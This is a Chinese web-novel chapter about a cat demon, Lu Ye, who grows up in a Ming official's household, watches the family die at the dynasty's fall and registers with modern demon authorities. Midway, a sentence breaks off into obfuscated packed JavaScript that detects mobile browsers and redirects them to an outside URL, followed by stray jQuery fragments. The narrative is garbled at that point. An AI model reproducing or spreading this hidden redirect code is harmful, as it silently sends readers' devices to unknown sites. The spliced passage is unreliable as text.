万历十八年，陆湛之终于结束在刑部为期一年的观政，通过考评，任刑部河南司主事，官居六品。


    他是前一年科举的二甲进士，观政的一年来，补贴不过一月一石米，填肚也难，为了生存，和同年合租了一间破屋，时不时还要向钱庄借些银钱。


    拿到春季的俸禄后，陆湛之把一部分钱用来还钱庄的贷款，另一部分在宣南租了一个小套间，把妻儿从老家接过来。


    本以为这下总能过得舒服一点，没想刚入住一月，屋子就闹起鼠患，他不堪其扰，在同僚的推荐下，决定和妻去市场某家聘只狸奴。


    这户人家对待客人十分殷勤，把一只只小猫抓起来跟他介绍。


    “老爷，这只猫在同一窝里面最为健壮，您看它的爪子，日后一定是捕鼠的好手。”


    “还有这只，也十分不错，和兄弟姐妹打闹时机灵得很；这只……”


    一只只看过去，陆湛之都觉得不错，正犹豫时，妻扯他的衣袖，“官人，快看那只。”


    妻指着箱子最角落的一只猫。


    那是一只小小的、毛茸茸的团子，浅黄色毛发，正懒洋洋地卧着，绿眼睛半阖。被三个巨人围观，却半点不慌张，甚至还伸出爪子舔了舔。


    陆湛之也来了兴趣，问：“那只如何？”


    老板劝他们，“老爷，这猫整天除了吃奶就是睡觉，是只十足的懒猫，要不还是选别的吧。”


    可架不住两人都喜欢，于是老板象征性地收了二十文钱，把这只懒猫卖了出去。


    懒猫到家两月有余，毛发愈加蓬松茂盛，颜色也由浅黄转为灿金，前来拜访的同僚无不啧啧称奇。


    他们给这猫取名金波，因为它太阳般灿金的毛发。


    五岁的小儿很爱金波，求着母亲给它的颈子挂了枚铃铛，抱着狸奴整日“金宝金宝”地叫，渐渐地，陆湛之和妻也忘了它的原名，随孩子一同叫它金宝。


    某日陆湛之下值，金宝轻巧地从房檐跳下，衔来一只肥硕的老鼠。


    陆湛之说：“啊呀，金宝真是厉害，我们家的鼠患能解决，全靠金宝，真真是个捕鼠好手，可见那老板说的，乃是无稽之谈。”


    金宝坐在地上，大尾巴竖起来晃悠悠，绿眼睛流光溢彩，神气极了。


    妻看得稀奇，悄悄对陆湛之说：“官人，你说金宝是不是能听懂我们的话，你夸完它，它走路的样子都不一样了。”


    陆湛之笑道：“或许是只猫妖也说不定呢。”


    这话一语成谶。


    万历二十一年春，一位老道士路过陆湛之的宅邸，敲门讨了一碗水。


    老道须发皆白，一双眼睛却亮得惊人，他一边喝水，一边扫过檐下懒洋洋打呵欠摇尾巴的金宝。


    喝完水，他一拱手，“老爷，实不相瞒，贫道借口喝水来访，实则是看出了老爷府邸上方的妖气。”


    “近年老爷的府邸中，可否发生过什么怪事？”


    陆湛之不信，“无甚怪事，你这老道，莫不是来骗钱的？”


    老道呵呵两声，指向金宝，“当真没有?”


    陆湛之一愣，回忆起金宝种种聪慧得不似畜生的举动，心里一惊，将老道迎入室内上茶。


    老道一拈胡须，“若贫道没有猜错，此猫定然从小聪慧，与人较之，也不遑多让。”


    陆湛之道：“是也！”


    “我那八岁小儿与猫相争，十有八九是争不过的，每每都被逗弄得哭出来。”


    “难不成此猫体内藏有妖邪？”


    老道笑道：“老爷莫慌。”


    “以贫道观之，此猫应是得天之厚，在娘胎里便觉醒了灵智，出生后，身体自发吸收天地间的灵气，入了妖道，因此不同于一般凡猫。”


    陆湛之松了一口气，“那便好……”


    老道说：“此猫虽然聪慧，但若不加引导，只凭本能修炼，日后未免误入歧途。”


    他起身，“贫道乃都陵山第三十九代传人，游历天下欲寻一关门弟子，此猫天赋异禀，若老爷相信贫道，便将此猫交予我，贫道会助此猫化形，而后将毕生所学传授。”


    陆湛之和妻商量一晚，最终决定不耽误金宝，把它交给老道。


    不想小儿哭天抢地，抱住金宝不肯松手，好不容易从他手中抢过，金宝却又跳到妻的怀里，冲老道哈气。


    老道没有强求，叹一口气，“罢罢，尘缘未了，如何修行。”


    他握住金宝的爪子，念念有词，片刻后松开，道：“我已将修行法门教于它。”


    又拿出一本功法，“短则十五年，长则二十年，此猫化形后，便可将此功法交给他修行。”


    说罢，老道便告辞。


    陆湛之夫妻将老道送至府门口，却见老道挥挥手，接着，身影便隐没在小巷尽头。


    自那以后，金宝愈发聪慧，陆湛之闲时教他一些算数，竟也答得分毫不错。


    既已知道金宝日后会成人，陆湛之便给他预备了几个正经姓名，让它选择。


    金宝看了一眼，爪子毫不犹疑地拍在“陆烨”这个大名上。


    陆湛之哈哈大笑，“好，烨者，日光也，有光辉灿烂之意，我也最属意此名。”


    此后，金宝便有了大名，随陆湛之的姓，唤作陆烨。


    这一年是万历二十五年，陆湛之升任刑部侍郎，官居五品，意气风发。


    万历三十年，陆烨化形，是个金发绿眼的小儿，模样俊秀妖异，不似凡人。


    陆湛之夫妻将他养在府邸，谎称侄儿投奔，不想被下人泄露消息，流言四起。


    加之国本之争余波未消，陆湛之直言上谏支持皇长子，引得政敌弹劾，皇帝不喜，最后下令彻查府邸。


    锦衣卫翻遍陆府，却没有找到一丝异常，此事无疾而终。


    当晚，陆湛之在书房找到一封信，信上是歪歪扭扭的几个大字。


    【我走了，这些年，谢谢你们。】


    陆湛之一夜无眠。


    陆烨离了陆府，因模样异常，极少入世，在山林中躲藏，餐风饮露，一路南下，路过湖广汉阳府某山，见此地灵气充足，风景秀丽，便占山为王，安顿下来。


    他每隔几年，便回到京城偷偷看望陆湛之一家，却不敢露面，只留下一封信和一箱珠宝银钱。


    陆湛之官运亨通，在官场倾轧中屹立不倒，已经是刑部右侍郎了。


    他的头发已然掺上灰白，眉间也因各种琐事染上忧愁，却依然爱笑。


    他的孩子不爱学文，反倒中了武举，在京营任一个小小的指挥官。


    陆烨认真练习老道留下的功法，数年后，妖力大涨，在山上待得厌倦，于是四处游历。


    他也曾遇到老道一次，老道见他，讶异极了，“竟然只花了九年便修成人形，果真天赋非凡。”


    他跟随老道修炼，老道却不肯让他叫师父。


    他还是那句话，“你的尘缘未了。”


    后来，天下慢慢乱了，纷争四起，老道带着陆烨回到都陵山，广开山门，收留逃荒的难民，给他们食宿。


    陆烨不解，“您的法力高强，把祸乱此地的官员杀了便是，为何只救济难民？”


    老道摇摇头，“法力并不能解决一切。”


    “杀了这个官员，还有下一个官员，杀了这伙土匪，还会有人变成新的土匪，只要社稷不定，纷争就永远不会停歇。”


    “更何况，瘟疫、洪水、饥荒，都非人力所能改变，贫道能做的，也只有多收留些百姓。”


    陆烨依然不解。


    在他看来，杀一个不够，就那杀两个，杀三个，只要法力够强，何愁不能还天下一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512367|180406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    安定？


    老道但笑不语。


    许多年以后，他终于明白老道话中的意思。


    妖力不能及之事，何止天下百姓，有时候，连一个普通人类的生死，也无法干涉。


    崇祯十七年，老道仙逝，陆烨把他埋在都陵后山，立了一块小小的石碑。


    做完这一切，陆烨收拾行李，去京城探望陆湛之。


    可进到京城，只见遍地饿殍，处处都有军队把守，不少门户空置，不见往日的繁华与热闹。


    他找到陆府，见府门大敞，军队进进出出，搬着一箱箱东西。


    他隐匿身形，走到正屋，终于见到陆湛之夫妻，二人衣冠整肃，正襟危坐。


    见到陆烨，他颤巍巍地笑起来，“你来了。”


    他已是古稀之年，白发苍苍，目光浑浊，唯有笑起来时，和五十年前一模一样。


    陆烨说：“府里是什么人，为什么在搬东西？”


    陆湛之说：“李自成的走狗，不用管他们。”


    “我早就散尽家财来救助百姓，现在府里不过是一些无用之物。”


    妻也微笑，“官人，我方才还在同你说，没有见到金宝最后一面，有些遗憾呢。”


    陆烨心中一惊，“什么最后一面？”


    陆湛之道：“陛下死国，我等又有何颜面活在世上，我们夫妻正欲追随陛下而去。”


    “为什么、为什么要死？”


    “是因为外面的军队吗，我可以杀了他们！”


    陆烨语无伦次，“我带你们走，离开京城，走得远远的，到一个没有战乱的地方，我有很多钱，足够你们生活……”


    可陆湛之摇头，“烨儿，你的心意我们领了。”


    “食君之禄，忠君之事，死，吾分也。”


    两人遂在陆烨面前，南向自缢而死。


    陆烨杀了劫掠陆府的军队，替二人敛尸，又去找陆湛之的孩子，才发现他早已战死。


    于是陆烨在世上再无亲人，他又开始了四处游荡的生活。


    他的生命漫长，却毫无目标，也不知意义，只是凭着本能在活下去。


    他跟随商队一路西行，去过黄沙漫天的异域国度，也曾登上船只，南下探险，抑或是去到极北方向，永冻永昼之地。


    一开始，他也交过人类朋友，但一次次地看着他们老死，棺椁送入墓中后，他就不再交朋友，只在酒馆同他们饮酒划拳，哈哈大笑，醉到天明，然后离开。


    如此几百年，天下大变，社会逐渐稳定，新的秩序建立，绝地天通，灵气衰落，因为规则的限制，他无法再发挥出全部的实力，决定安定下来。


    他兜兜转转，还是回到了一开始占山为王的汉阳府生活。


    他像个普通人一样，工作、买房、穿时髦的衣服，追最新的电视剧。


    他不必再用法力伪装头发和眼睛，因为大家不会再把他当成妖怪，而是暗搓搓地嘲讽一句：“假洋鬼子！”


    又后来，妖怪也开始了规范化管理。


    工作人员给他登记。


    “品种？”


    “猫。”


    “年龄？”


    “不记得了。”


    工作人员循循善诱，“那你记得刚有意识的时候，是什么朝代，有什么大事或人物吗？”


    “我想想……好像有个叫李自成的？”


    “那就是明朝万历年间。”


    工作人员写下：【约四百岁】


    “对了，你叫什么名字？”


    “陆烨。”


    工作人员写到一半停下来，“哪个烨？”


    陆烨仿佛透过四百年的时光，看见了那个哈哈大笑的年轻人，早就被埋在时光长河中的记忆，如今翻涌而出。


    他轻声说：“烨者，日光也，有光辉灿烂之意。”